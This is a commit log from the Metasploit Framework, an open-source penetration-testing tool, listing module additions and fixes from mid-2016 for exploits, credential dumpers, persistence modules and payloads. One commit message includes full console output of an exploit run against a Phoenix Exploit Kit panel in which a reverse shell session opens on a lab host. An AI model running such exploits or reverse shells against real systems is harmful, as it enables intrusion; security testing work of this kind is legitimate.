7352029497
first round of SSL damage fixes
2016-09-13 17:42:31 -05:00
245237d650
Land #7288 , Add LoginScannerfor Octopus Deploy server
2016-09-13 17:26:56 -05:00
10efafe44e
Land #7306 , Update links and add CVE to WebNMS modules
2016-09-13 15:52:27 -05:00
ed5bbb9885
Land #7284 , Add SugarCRM REST PHP Object Injection exploit
2016-09-13 15:46:46 -05:00
a0095ad809
Check res properly and update Ruby syntax
...
If res is nil, it should not be doing res.code
2016-09-13 15:45:57 -05:00
8d4ee3fac6
Forgot the bracket!
2016-09-13 19:01:22 +01:00
4d49f7140c
update links and CVE on webnms_file_download
2016-09-13 18:50:53 +01:00
41bdae4b84
update links and CVE on webnms_file_upload
2016-09-13 18:50:25 +01:00
8b90df8b67
update links and CVE on webnms_cred_disclosure
2016-09-13 18:49:58 +01:00
89705cc803
Avoid potential undef method error '+' for nil
2016-09-13 11:13:02 -05:00
50447fc4cf
Fix post/windows/gather/credentials/steam for an empty env var
2016-09-13 11:04:42 -05:00
17bad7bd4f
fix popchain
...
ERB changed as per <https://github.com/ruby/ruby/commit/e82f4195d4 >
which broke the popchain used for code execution.
2016-09-13 21:25:14 +10:00
1ce9aedb97
parenthesis for condition expression
2016-09-13 03:37:47 -05:00
fd16c1c3b7
Fix issue-7295
2016-09-13 01:32:20 -05:00
11342356f8
Support LHOST for metasploit behind NAT
2016-09-13 11:23:49 +10:00
8df8f7dda0
Initial commit of profinet_siemens.rb
2016-09-11 09:15:41 +02:00
a0e05d4c4c
Land #7287 , mdaemon cred dumper
2016-09-10 08:43:07 -05:00
a81f351cb3
Land #7274 , Remove deprecated modules
2016-09-09 12:01:59 -05:00
1d4b0de560
Land #6616 , Added an Outlook EWS NTLM login module.
2016-09-09 11:43:52 -05:00
6bafad44f2
drop 'require uri', tweak option text
2016-09-09 20:31:23 +10:00
0b012c2496
Combine Unix and Windows modules
2016-09-09 20:28:13 +10:00
00f09d19b1
SMTP Typo
...
Correct SMTP Type (before SMPT)
2016-09-09 01:36:37 -05:00
92dba8ff9d
Land #7290 , env var check for WinSCP module
2016-09-07 21:08:12 -05:00
a30711ddcd
Land #7279 , Use the rubyntlm gem (again)
2016-09-07 16:33:35 -05:00
a9c3c5d391
Fix typos
2016-09-07 15:40:10 -05:00
831c7a08a8
Check environment variables before using for winscp module
2016-09-07 15:24:22 -05:00
7d44bd5ba4
Clean up module
2016-09-06 23:30:58 -05:00
015b790295
Added default rport.
2016-09-07 14:24:07 +10:00
7632c74aba
Merge branch 'master' of https://github.com/rapid7/metasploit-framework
2016-09-07 14:15:57 +10:00
6e21684ff7
Fix typo.
2016-09-07 14:08:46 +10:00
dcf0d74428
Adding module to scan for Octopus Deploy server
...
This module tries to log into one or more Octopus Deploy servers.
More information about Octopus Deploy:
https://octopus.com
2016-09-06 20:52:49 -05:00
c06ee991ed
Adding WiFi pineapple command injection via authenticaiton bypass.
2016-09-06 17:22:25 -07:00
8d40dddc17
Adding WiFi pineapple preconfig command injection module.
2016-09-06 17:18:36 -07:00
df5fdbff41
Add module for KIS-2016-07: SugarCRM REST PHP Object Injection
...
This PR contains a module to exploit KIS-2016-07, a PHP Object Injection vulnerability in SugarCRM CE before version 6.5.24 that allows unauthenticated users to execute arbitrary PHP code with the permissions of the webserver. Successful exploitation of this vulnerability should require SugarCRM to be running on PHP before version 5.6.25 or 7.0.10, which fix CVE-2016-7124.
2016-09-07 01:58:41 +02:00
fed2ed444f
Remove deprecated modules
...
psexec_psh is undeprecated because users have been reporting
idiosyncrasies between it and psexec in the field.
2016-09-03 12:43:01 -05:00
ea220091ea
add metasploit_webui_console_command_execution
...
These modules target the Metasploit Community/Express/Pro Web UI on
Unix and Windows via the diagnostic console feature
2016-09-03 09:12:09 +10:00
ba6c2117cf
Fix msftidy issues
2016-09-02 18:18:43 +03:00
144fb22c32
Add Kaltura PHP Remote Code Execution module
2016-09-02 18:09:53 +03:00
81bc6bd672
Land #7228 , Create zabbix_toggleids_sqli auxiliary module
2016-09-01 16:33:17 -05:00
b0e45341e5
Update redis file_upload to optionally FLUSHALL before writing
...
This increases the chances that the uploaded file will be usable as-is
rather than being surround by the data in redis itself.
2016-08-31 14:27:18 -07:00
874fec4e31
Update zabbix_toggleids_sqli.rb
2016-08-31 17:23:16 -04:00
d43380330e
Update zabbix_toggleids_sqli.rb
2016-08-31 17:18:28 -04:00
05278c868e
Updated JCL cmd payloads to use PR7007 format
...
PR7007 centralized JCL job card for any JCL cmd payload. This PR simply
uses that new format for existing JCL cmd payloads. No functionality
for these payloads was changed, added or deleted.
2016-08-31 14:39:01 -05:00
d65ca818ea
Add validation of session type
2016-08-31 11:29:04 -05:00
ce7d4cf7f7
Removed "shell" from SessionTypes
...
Remove the need to check for the session type manually. It will be automatically validated at the time of module run.
2016-08-31 00:12:31 -05:00
401044ee43
Fix error when saving creds
2016-08-30 16:49:31 -05:00
445a43bd97
Trim the fat
2016-08-30 15:56:51 -05:00
1b505b9b67
Fix #7247 , Fix GlassFish on Windows targets
...
Fix #7247
2016-08-30 15:46:08 -05:00
e403df57e0
Land #7251 , CPORT fix for smb_login
2016-08-30 00:52:22 -05:00
fd1efaea9f
Attempts to address issue #6963 x64/xor encoder not working
2016-08-29 19:59:39 -06:00
ea7721608b
Land #7248 , CredEnumerateA fix for enum_cred_store
2016-08-29 15:12:23 -05:00
7a412031e5
Convert phoenix_exec to ARCH_PHP
2016-08-29 14:14:22 -05:00
43a9b2fa26
Fix missing return
...
My bad.
2016-08-29 14:13:18 -05:00
d50a6408ea
Fix missed Twitter handle
2016-08-29 13:46:26 -05:00
f8fa090ec0
Fix one more missed comma
2016-08-29 13:40:55 -05:00
53516d3323
Fix #7220 , phoenix_exec module cleanup
2016-08-29 13:28:15 -05:00
b21ea2ba3f
Added code to assign CPORT value to the parent scanner object
2016-08-29 13:17:10 -05:00
bc6a529388
Added some error checking to CredEnuerateA() railgun call
2016-08-26 16:21:54 -05:00
748c959cba
forgot to save before PR
2016-08-25 21:45:17 -04:00
5dff01625d
working code
2016-08-25 21:32:25 -04:00
226ded8d7e
Land #6921 , Support basic and form auth at the same time
2016-08-25 16:31:26 -05:00
52b81f32b1
Land #7238 , Add DETECT_ANY_AUTH to smb_login
2016-08-25 11:52:14 -05:00
4a6b2ef8de
fixing typo for reference for golden ticket
2016-08-24 10:55:36 -05:00
83160b7e49
Land #7173 , Add post module to compress (zip) a file or directory
2016-08-24 09:38:04 -05:00
cd858a149f
Add DETECT_ANY_AUTH to make bogus login optional
2016-08-23 23:05:47 -05:00
89c3b6f399
Remove the -d flag for Linux machines
2016-08-23 18:43:50 -05:00
03e14ec86f
Land #7232 , Net::SSH Regression Fixes
...
Fixes #7160
Fixes #7175
Fixes #7229
2016-08-23 14:53:42 -05:00
38a8d21e5b
Update zabbix_toggleids_sqli.rb
2016-08-22 18:57:25 -05:00
6b9635d7a5
Rename zabbix_toggleids_sqli to zabbix_toggleids_sqli.rb
2016-08-22 18:52:16 -05:00
20947cd6cd
remove old dependency on net-ssh moneykpatch
...
the ssh_login_pubkey scanner relied on functionality that
was monkeypatched into our vendored copy. this was an uneeded solution
in the first palce, and we now use a more sane method of accomplishing
the same thing
2016-08-22 10:54:09 -05:00
f2e2cb6a5e
cant transfer file
2016-08-21 19:42:29 -04:00
6306fa5aa5
Per discussion in #7195 , trying a different route. Currently this compiles, then passes the binary. However, there isn't a reliable binary transfer method at this point, so the rewrite from this point will be to transfer the ascii file, then compile on system (gcc is installed by default I believe)
2016-08-21 19:16:04 -04:00
2abf71a3ac
Create zabbix_toggleids_sqli
2016-08-21 12:43:20 -05:00
ee89b20ab7
remove 'BadChars'
2016-08-19 23:49:11 +08:00
e3d1f8e97b
Updated the description
2016-08-19 22:22:56 +08:00
5a4f0cf72f
run msftidy
2016-08-19 21:56:02 +08:00
c66ea5ff8f
Correcting the date based on the EDB
2016-08-19 21:47:57 +08:00
d4c82868de
Add Phoenix Exploit Kit Remote Code Execution
...
This module exploits a Remote Code Execution in the web panel of Phoenix Exploit Kit Remote Code Execution via the geoip.php. The Phoenix Exploit Kit is a popular commercial crimeware tool that probes the browser of the visitor for the presence of outdated and insecure versions of browser plugins like Java, and Adobe Flash and Reader which then silently installs malware.
```
msf exploit(phoenix_exec) > show options
Module options (exploit/multi/http/phoenix_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.52.128 yes The target address
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /Phoenix/includes/geoip.php yes The path of geoip.php which is vulnerable to RCE
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.52.129 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Phoenix Exploit Kit / Unix
msf exploit(phoenix_exec) > check
[+] 192.168.52.128:80 The target is vulnerable.
msf exploit(phoenix_exec) > exploit
[*] Started reverse TCP double handler on 192.168.52.129:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo RZpbBEP77nS8Dvm4;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "RZpbBEP77nS8Dvm4\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 5 opened (192.168.52.129:4444 -> 192.168.52.128:51748) at 2016-08-19 09:29:22 -0400
uname -a
Linux ubuntu 4.4.0-28-generic #47-Ubuntu SMP Fri Jun 24 10:08:35 UTC 2016 i686 i686 i686 GNU/Linux
```
2016-08-19 21:29:55 +08:00
b081dbf703
Make destination required
2016-08-18 15:56:16 -05:00
3eb3c5afa2
Land #7215 , Fix drupal_coder_exec bugs #7215
2016-08-18 13:43:23 -05:00
bc9a402d9e
Land #7214 , print_brute ip:rport fix
2016-08-17 22:48:40 -05:00
2b6576b038
Land #7012 , Linux service persistence module
2016-08-17 22:45:35 -05:00
c64d91457f
Land #7003 , cron/crontab persistence module
2016-08-17 22:45:16 -05:00
2fa4c7073b
Land #6995 , SSH key persistence module
2016-08-17 22:44:57 -05:00
60937ec5e9
If user is SYSTEM, then steal a token before decompression
2016-08-17 16:56:09 -05:00
4228868c29
Clean up after yourself
...
Can't use FileDropper. :(
2016-08-16 23:09:14 -05:00
1f63f8f45b
Don't override payload
...
pl is a cheap replacement.
2016-08-16 23:08:53 -05:00
b3402a45f7
Add generic payloads
...
Useful for testing and custom stuff.
2016-08-16 23:08:09 -05:00
5f8ef6682a
Fix #7202 , Make print_brute print ip:rport if available
...
Fix #7202
2016-08-16 15:34:30 -05:00
870669bdf7
handle exception in getsystem module
2016-08-15 23:51:05 -05:00
2fed51bb18
Land #7115 , Drupal CODER exploit
2016-08-15 01:15:23 -05:00
62d28f10cb
Clean up Mehmet modules
2016-08-15 01:12:58 -05:00
d34579f1f0
Land #7203 , Fix struts_default_action_mapper payload request delay
2016-08-12 23:00:44 -05:00
1733d3e1f1
remove obsolete tested-on comment
2016-08-12 17:26:43 -05:00
1e7663c704
Land #7200 , Rex::Ui::Text cleanup
2016-08-12 16:22:55 -05:00
b4846e5793
Enabling cmd_bash payload type with bash-tcp cmd
2016-08-13 00:14:25 +03:00
d38e9f8ceb
Using # instead of ;. Semicolon is causing msg in error.log.
2016-08-12 23:35:29 +03:00
f4e4a5dcf3
Fix struts_default_action_mapper payload request delay
...
MS-1609
2016-08-12 15:29:00 -05:00
ba79579202
Extending Space limitation up to 250
2016-08-12 22:32:49 +03:00
1a7286f625
Land #7062 , Create exploit for WebNMS 5.2 RCE
2016-08-12 07:11:48 -07:00
c2c05a820a
Force uripath and srvport options
2016-08-10 18:25:45 -05:00
e56e801c12
Update ie_sandbox_findfiles.rb
2016-08-10 18:09:58 -05:00
eb73a6914d
replace old rex::ui::text::table refs
...
everywhere we called the class we have now rewritten it
to use the new namespace
MS-1875
2016-08-10 13:30:09 -05:00
87b27951cf
Fixed some build errors
2016-08-09 20:46:49 +02:00
79a84fb320
Internet Explorer iframe sandbox local file name disclosure vulnerability
...
It was found that Internet Explorer allows the disclosure of local file
names. This issue exists due to the fact that Internet Explorer behaves
different for file:// URLs pointing to existing and non-existent files.
When used in combination with HTML5 sandbox iframes it is possible to
use this behavior to find out if a local file exists. This technique
only works on Internet Explorer 10 & 11 since these support the HTML5
sandbox. Also it is not possible to do this from a regular website as
file:// URLs are blocked all together. The attack must be performed
locally (works with Internet zone Mark of the Web) or from a share.
2016-08-09 20:35:42 +02:00
de16a6d536
Land #7182 , Nuuo / Netgear Surveillance admin password reset module
2016-08-08 16:10:30 -05:00
c64e1b8fe6
Land #7181 , NUUO NVRmini 2 / Crystal / NETGEAR ReadyNAS Surveillance
2016-08-08 16:04:33 -05:00
cb04ff48bc
Land #7180 , Add exploit for CVE 2016-5674 / Nuuo / Netgear unauth RCE
2016-08-08 15:55:39 -05:00
8654baf3dd
Land #6880 , add a module for netcore/netdis udp 53413 backdoor
2016-08-08 15:43:34 -05:00
f98efb1345
Fix typos
2016-08-08 15:41:03 -05:00
7ca7682d17
Fix whitespace error from msftidy
2016-08-08 17:57:03 +01:00
3d1289dac3
Land #7185 , Add VMware Host Guest Client Redirector DLL Hijack Exploit
2016-08-08 11:41:40 -05:00
51c457dfb3
Update vmhgfs_webdav_dll_sideload
2016-08-08 11:40:03 -05:00
ae59c4ae74
Land #6687 , Fix meterpreter platform to include OS in the tuple for all meterpreters
2016-08-07 05:00:24 -05:00
3b64b891a6
Update nuuo_nvrmini_unauth_rce.rb
2016-08-05 21:53:25 +01:00
746ba4d76c
Add bugtraq reference
2016-08-05 21:53:08 +01:00
106f26587e
Add bugtraq reference
2016-08-05 21:52:46 +01:00
230903562f
Add Samsung Security Manager 1.5 ActiveMQ Broker exploit
2016-08-05 15:19:22 -05:00
dae1679245
Fixed build warnings
2016-08-05 20:40:41 +02:00
02e065dae6
Fixed disclosure date format
2016-08-05 20:32:58 +02:00
97d11a7041
Exploit module for CVE-2016-5330 VMware Host Guest Client Redirector DLL hijack
2016-08-05 20:19:40 +02:00
07e210c143
Add changes requested to target.uri
2016-08-04 17:50:16 +01:00
036d0502db
Add github link
2016-08-04 17:38:45 +01:00
2aca610095
Add github link
2016-08-04 17:38:31 +01:00
7d8dc9bc82
Update nuuo_nvrmini_unauth_rce.rb
2016-08-04 17:38:14 +01:00
ec67db03f1
add exploit for CVE 2016-5676
2016-08-04 16:56:16 +01:00
b48518099c
add exploit for CVE 2016-5674
2016-08-04 16:55:21 +01:00
0deac80d61
add exploit for CVE 2016-5675
2016-08-04 16:54:38 +01:00
14a387e4eb
Land #7163 , Add exploit payload delivery via SMB
2016-08-03 14:44:59 -05:00
2f6e0fb58c
Land #7172 , Add exploit for CVE-2016-0189 (MSIE)
2016-08-03 14:14:16 -05:00
e16c57ed07
Lower rank
2016-08-03 14:02:47 -05:00
96dbf627ae
Remove unwanted metadata for HttpServer
2016-08-03 13:55:58 -05:00
45801bc44e
get_env
2016-08-03 11:11:34 -05:00
bddf5edcf1
Fix typo
2016-08-03 11:04:53 -05:00
554a0c5ad7
Deprecate nbname_probe, which duplicate nbname as of 77cd6dbc8b
2016-08-02 17:36:22 -07:00
8f7d0eae0c
Fix #7155 - Add post module to compress (zip) a file or directory
...
Fix #7155
2016-08-02 14:44:58 -05:00
be4f55aa2f
forgot to update ranking
2016-08-02 13:30:12 -05:00
4c15e5e33a
Land #7171 , Hint about incorrect RAILSVERSION
2016-08-01 15:40:27 -05:00
160c49721b
Land #7166 , Fix empty output in nbns_response
2016-08-01 14:52:33 -05:00
abf435d6c2
Land #6960 , Auth bypass for Polycom HDX video endpoints
2016-08-01 14:02:50 -05:00
5309f2e4fb
endpoints, not end points
2016-08-01 14:02:17 -05:00
b34201e65c
restore session as an instance variable
2016-08-01 13:58:54 -05:00
ba0da52274
msftidy cleanup
2016-08-01 13:36:05 -05:00
21e6211e8d
add exploit for cve-2016-0189
2016-08-01 13:26:35 -05:00
3b13adba70
Hint about incorrect RAILSVERSION
...
If the secret doesn't match, you might have set the wrong RAILSVERSION.
The difference is secret_token (Rails 3) vs. secret_key_base (Rails 4).
2016-08-01 09:36:25 -07:00
e699d3f05b
Fix empty output in nbns_response
...
Normally, the module prints nothing unless VERBOSE is true. In practice,
we at least want to see responded-to hosts. We leave details to be
printed when VERBOSE is set.
2016-07-31 09:47:19 -07:00
d46c3a1d8c
Collector looks like hex, store it as a string
2016-07-29 21:57:51 -05:00
b61aaef03e
Fix undercase issue with userlist.dat
...
Remove the 2nd element of the array at line 102.
Add .downcase for line 103.
Fix to find filenames on systems that created the userlist.dat on uppercase.
2016-07-29 15:54:34 -05:00
1d6fa11c4f
Addition of SMB delivery module
2016-07-29 14:58:30 -04:00
1e1866f583
Fix #7158 , tiki_calendar_exec incorrectly reports successful login
...
Fix #7158
2016-07-28 17:03:31 -05:00
6c7cc061ea
Minor formatting tweaks.
2016-07-28 16:29:42 -05:00
ef2899dfd4
msftidy updates
2016-07-28 16:29:42 -05:00
7b4bb75294
Create avira_password.rb
2016-07-28 16:29:42 -05:00
af137f3ec3
Land #7127 , Fix #6989 , scanner modules printing RHOST in progress messages
2016-07-27 09:16:08 -07:00
288b39e37f
update to mettle 0.0.6
2016-07-27 08:59:21 -05:00
864989cf6c
For echo command
2016-07-26 20:27:23 -05:00
4720d77c3a
Land #6965 , centreon useralias exec
2016-07-26 15:02:36 -07:00
dadafd1fdf
Use data:// instead of bogus web server and check() improvements.
2016-07-26 13:31:46 +03:00
cce1ae6026
Fix #6989 , scanner modules printing RHOST in progress messages
...
Fix #6989
2016-07-25 23:15:59 -05:00
df15eebdf8
Land #7106 , multiple keylog_recorder improvements
2016-07-25 14:54:06 -05:00
1016cb675d
Land #7107 , Use VHOST info for redirection in firefox_proto_crmfrequest
2016-07-24 15:50:21 -05:00
72caeaa72f
Fix redirect url
2016-07-24 15:49:03 -05:00
780e83dabb
Fix for Opt params and Space limits
2016-07-22 20:48:15 +03:00
352d63480d
scriptjunkie's recs and fixes additional issues
2016-07-21 22:54:48 -05:00
7e9c5f9011
Fix for double space and indentation
2016-07-21 20:27:52 +03:00
634ee93de4
Add Drupal CODER remote command execution
2016-07-21 20:23:54 +03:00
32f1c83c9e
Switch to single quotes
...
Might as well, since we're avoiding escaping.
2016-07-21 00:10:17 -05:00
2e631cab5b
Prefer quoting over escaping
...
Having to escape backslashes in a single-quoted string sucks.
2016-07-21 00:02:08 -05:00
c6b309d5c9
Fix drupal_restws_exec check method false positive
2016-07-20 23:28:49 -05:00
8bd6db8bd7
Land #7108 , Drupal RESTWS exploit
2016-07-20 13:49:37 -05:00
b49a847c98
Fix additional things
2016-07-20 13:49:23 -05:00
51bb950201
Avoid return where not required
2016-07-20 21:27:51 +03:00
b0a0544627
Remove random string from URI
2016-07-20 20:50:10 +03:00
c93e88f3a3
Make changes requested by wvu-r7
2016-07-20 14:21:04 +02:00
b057a9486c
Don't use ssh agent
2016-07-19 17:07:22 -05:00
ff63e6e05a
Land #7018 , unvendor net-ssh
2016-07-19 17:06:35 -05:00
089816236d
Remove double spaces and fix checkcode
2016-07-20 00:01:25 +03:00
9c8e351ba8
Use vars_get un send_request_cgi
2016-07-19 20:12:14 +03:00
ec2f8fcc71
Change check method and use meterpreter instead of unix cmd
2016-07-19 11:13:06 +03:00
6f35a04e21
Incorporate review fixes, ensure PrependFork is true, fix echo compat.
2016-07-19 01:45:56 -05:00
650034b600
Use normalize_uri params instead of string concatenation
2016-07-19 01:01:05 +03:00
c8deb54938
Add Drupal RESTWS Remote Unauth PHP Code Exec
2016-07-18 21:32:10 +03:00
14c9569afa
2013-1710 - Use header VHOST info for redirection
...
When this exploit is hit by hostname, the HTTP request contains
a Host header field which does not match the IP-based redirection.
Update the module to check request headers for host information,
and fallback to the prior behavior if none exists.
Tested in conjunction with #6611 DNS spoofer - works great, see
issue #7098 for details.
2016-07-17 04:50:54 -04:00
722133491d
Wording change in advanced options and doc
2016-07-16 22:57:36 -05:00
9cb9a2f69d
Update for windows keylog_recorder
2016-07-16 22:38:10 -05:00
dcd09f17bd
New Post Module
...
New post module for windows.
It gathers the users and cracks the password of MDaemon Mail server.
NOTE: The module have a bug and I would appreciate help fixing it (problem when storing credentials)
2016-07-16 19:07:27 -05:00
e3801c425b
Fix typo in USB error message
2016-07-16 09:43:48 -04:00
b08d1ad8d8
Revert "Land #6812 , remove broken OSVDB references"
...
This reverts commit 2b016e02167b1d9596c7
2016-07-15 12:00:31 -05:00
03dca5fee2
updates round 2
2016-07-15 09:02:23 -04:00
33ce3ec3ed
fixes round 2
2016-07-15 08:44:39 -04:00
7734279147
round 2 of updates
2016-07-15 08:21:17 -04:00
8968a6603e
Syntax cleanup
2016-07-14 13:25:31 -07:00
927b3a88a1
Changed to one delete
2016-07-14 13:11:59 -07:00
b6b52952f4
set ssh to non-interactive
...
have to set the non-interactive flag so that it does not
prompt the user on an incorrect password
MS-1688
2016-07-14 11:12:03 -05:00
01d0d1702b
Merge branch 'master' into feature/MS-1688/net-ssh-cleanup
2016-07-14 09:48:28 -05:00
9862a2fc25
Land #7080 , Updated docs and made enhancements for Netgear soap password extractor
2016-07-13 14:30:46 -07:00
b2c3267a2a
Land #7042 , fetch_ninja_form_nonce/wponce fix
2016-07-13 11:38:11 -05:00
ee90e5e96d
update payload sizes
2016-07-13 01:06:05 -05:00
fcdb32795d
Land #6777 , Linux Xen 4.2.0 DoS
2016-07-13 00:40:42 -05:00
7b5e3a880d
added module docs and some output tweaks for consistency with other modules
2016-07-13 00:38:46 -05:00
3e6fed7958
update metadata
2016-07-13 00:13:02 -05:00
0304b2c1e2
simplify logic, Ubuntu support
2016-07-12 23:50:32 -05:00
8f928c6ca1
Land #7006 , Add MS16-032 Local Priv Esc Exploit
2016-07-12 15:22:35 -05:00
815c426b4d
Match naming style
2016-07-12 15:18:39 -05:00
556620d981
Fix pack on big endian host systems
2016-07-12 15:17:52 -05:00
f11b84f106
Update wfsdelay and check for ms16-032
2016-07-12 15:17:21 -05:00
e9350986a4
Style
2016-07-12 14:51:37 -05:00
1a15fc1c2e
Whitespace
2016-07-12 14:51:37 -05:00
8f73167b15
Land #7060 , Fix up the 64-bit BSD reverse shell
2016-07-12 14:37:51 -05:00
f164afaef8
Land #6932 , joomla_contenthistory_sqli_rce fixes
2016-07-12 14:26:49 -05:00
c3e8f81982
Land #7038 , zutto_deriku, an x64 encoder
2016-07-12 13:46:55 -05:00
310332b521
Clean up module
2016-07-12 11:17:10 -05:00
b869b890c7
Land #7090 , Add module for Tikiwiki Upload Exec
2016-07-12 11:16:50 -05:00
2471e8bc8c
Add FileDropper to cleanup properly
2016-07-12 11:16:18 -05:00
277950cc79
Land #6733 , psexec StackAdjustment fix
2016-07-12 11:14:16 -05:00
43833c8756
Fixing double normalize function call
2016-07-12 07:30:18 +03:00
2b016e0216
Land #6812 , remove broken OSVDB references
2016-07-11 22:59:11 -05:00
7b1d9596c7
Land #7068 , Introduce 'mettle' - new POSIX meterpreter
2016-07-11 22:38:40 -05:00
a530aa4cf1
restrict perms a bit more
2016-07-11 22:22:34 -05:00
a107a0f955
remove unneeded rport/rhost defines
2016-07-11 22:22:34 -05:00
6bf51fe064
streamline payload generation
2016-07-11 22:22:34 -05:00
7ef6c8bf9e
ruby style updates
2016-07-11 22:22:33 -05:00
c1f51e7ddf
Update and fixup module against OpenNMS-16
2016-07-11 22:22:33 -05:00
50746eec29
Fixes comments in regards to #{peer}
2016-07-11 22:22:33 -05:00
ce8317294f
New module to exploit the OpenNMS Java Object Unserialization RCE vulnerability. This now gets flagged inside Nessus and there was no Metasploit module to exploit this.
...
This module exploits the vulnerability to a full session.
2016-07-11 22:22:32 -05:00
627fffdb08
Land #7089 , correct usage of OptPort and OptRegex
2016-07-11 22:13:27 -05:00
128f802928
use the regex source when generating or displaying a regex
2016-07-11 22:05:50 -05:00
7211936f96
Fix Payload exit issue
...
Fixed payload exiting issue by adding while ($true){Start-Sleep 1000};
statement.
2016-07-11 16:21:08 -04:00
fc56ab6722
Fixing some coding style because of rubocop
2016-07-11 23:10:18 +03:00
47f2cef22e
Syntax changes to humor rubocop and ruby style
2016-07-11 12:50:58 -07:00
e79c3ba7c0
Tiki Wiki unauth rce
2016-07-11 22:44:07 +03:00
963437d5e7
Land #7063 , Add module for WebNMS 5.2 Arbitrary File Download
2016-07-11 10:05:21 -07:00
c2a5da08af
Land #7064 , Add moule to steal creds from WebNMS 5.2
2016-07-11 06:38:50 -07:00
52c6daa0f2
Land #7048 , Riverbed SteelCentral NetProfiler and NetExpress Remote
...
Command Injection
2016-07-10 18:54:12 -05:00
b75084249a
Removed duplicate 'Privileged' key
2016-07-10 01:37:03 -04:00
fdce5bc30c
add disclosure date
2016-07-09 09:30:00 -04:00
25f49c0091
Fixed Description
...
Just cleaned up Description.
2016-07-08 16:17:39 -07:00
bbe4162320
Added error checking and some suggested style changes
2016-07-08 08:27:56 -07:00
d0e1c67c18
Land #7026 , Add Action Pack render exploit CVE-2016-2098
2016-07-07 16:16:37 -05:00
2cc6565cc9
Update rails_actionpack_inline_exec
2016-07-07 15:56:50 -05:00
cfb56211e7
Revert "Revert "Land #7009 , egypt's rubyntlm cleanup""
...
This reverts commit 1164c025a2
2016-07-07 15:00:41 -05:00
09dcd1dade
Added version check and error handling, changed regex to ruby syntax.
...
Also made a few syntax changes to placate rubocop.
2016-07-07 10:35:18 -07:00
892f354ece
give me some credit
2016-07-06 21:39:45 -04:00
47cf6d5edf
better docs, extract more data
2016-07-06 21:28:57 -04:00
fee361dae0
Land #7075 , Add ms16-016 local privilege escalation
2016-07-06 12:01:01 -05:00
532ea5d4c4
Make sure there's a ref and checkcode
2016-07-06 12:00:20 -05:00
45401bfe45
Land #7069 , modify check codes in multiple local exploits
2016-07-06 00:04:24 -05:00
b4b3a84fa5
refactor ms16-016 code
2016-07-05 20:50:43 -05:00
1164c025a2
Revert "Land #7009 , egypt's rubyntlm cleanup"
...
This reverts commit d90f0779f8e3e360cc83
2016-07-05 15:22:44 -05:00
21bede1166
unify stager style
2016-07-05 11:24:54 -05:00
049b322ae4
add x86 and x64 stagers for mettle
2016-07-05 11:24:54 -05:00
8490a3b775
Remove hard-float requirement for MIPS O32
2016-07-05 11:24:54 -05:00
0390ed4d6e
Add MIPS O32 Linux support (big and little endian)
2016-07-05 11:24:54 -05:00
8de508c4e0
Add mettle module for ARM
2016-07-05 11:24:54 -05:00
6290cb681f
Change class name Metasploit4 to MetasploitModule
2016-07-05 11:12:49 -05:00
5f9f3259f8
Merge branch 'master' into feature/MS-1688/net-ssh-cleanup
2016-07-05 10:48:38 -05:00
7d638a0975
Remove misc_anti_emu
2016-07-05 17:29:37 +02:00
e29d5b9efe
Land #6954 , Fix the available size of payload for exploit/.../payload_inject
2016-07-05 07:38:27 -07:00
0f8efec001
Fix modules broken by @wchen-r7 's 4275a65407 commit.
...
These modules call check() in the exploit() function and expected to get a CheckCode::Vulnerable, now that check() returns Appears instead of Vulnerable they always refuse to run.
I've flipped the logic, based on examples in other modules, now they refuse to run only if check() positively returns Safe.
2016-07-05 13:49:14 +02:00
cfc368ab65
Land #6959 , Add Linux ARM big endian ipv4 bind shellcode
2016-07-05 00:41:00 -05:00
54dfcee665
Land #7055 , add netgear_soap_password_extractor docs
2016-07-04 23:59:10 -05:00
9d13df3a25
Corrected for console width errors causing erroneous carriage returns, resulting in incorrect hash extraction on ms sql server 2012
2016-07-04 16:23:07 -04:00
ec4769fade
Create exploit for WebNMS credential disclosure
2016-07-04 21:15:15 +01:00
05ef5316df
Create exploit for WebNMS arbitrary file download
2016-07-04 21:10:14 +01:00
eeba35f87a
Create file for WebNMS 5.2 remote code execution
2016-07-04 21:07:03 +01:00
78335f8e20
Update the cache size in bsd/x64/shell_reverse_tcp
2016-07-04 00:35:52 +02:00
f246aa0b58
dup2() to STDERR_FILENO in bsd/x64/shell_reverse_tcp
2016-07-04 00:00:33 +02:00
54092177a2
Remove superfluous xor in bsd/x64/shell_reverse_tcp
2016-07-03 23:53:11 +02:00
12812650c0
Land #7054 , Fix busted alpha encoding on ms02_018_htr
2016-07-02 17:07:25 -05:00
4ed12d7077
Added: support for credentials saving using report_cred method as suggested
...
Added: support for detection of valid user credentials to skip login SQLi if not necessary.
2016-07-02 01:41:13 -04:00
844c13dc17
added new vuln device to netgear list, plus docs
2016-07-01 18:32:30 -04:00
3850431966
Fix busted alpha encoding on this old-ass exploit
2016-07-01 17:20:00 -05:00
bca0d716c0
Land #7047 , Ensure http_login scanner module saves passwds
2016-07-01 12:21:28 -05:00
70a79bb0e8
Land #7014 , Nagios remote root shell exploit
2016-07-01 08:17:38 -07:00
a1bd640eff
Fix hashrocket alignment
2016-07-01 09:05:03 -05:00
9663f88fdc
Download profile.zip instead of including it
...
profile.zip is GPL-licensed...
2016-07-01 01:17:23 -05:00
159446ce92
Ensure http_login scanner module saves passwds.
...
Fixes #6983 . When the auxiliary/scanner/http/http_login module discovers a successful basic auth user+password combination, make sure we properly store the password by specifically telling the credentials gem that the private data we're storing is a :password.
2016-06-30 16:58:39 -05:00
1401a61f59
Land #6998 , Fix #6984 Undefined method 'winver' in ms10_092_schelevator
2016-06-30 16:14:09 -05:00
3edb0b3625
Reduce chance to get a null byte in the decoder stub
2016-06-30 19:14:32 +02:00
31ea58d7f0
Inherit from Msf::Encoder::Xor to get key preventing badchars
...
I guess it what Msf::Encoder::Xor find_bad_keys is for.
2016-06-30 18:29:30 +02:00
1ecef265a1
Do a fail_with in case nonce is not found at all
2016-06-30 11:21:45 -05:00
e2b9225907
Fix #7022 , Failing to find wpnonce in fetch_ninja_form_nonce
...
This patch fixes a problem when the module is used against an older
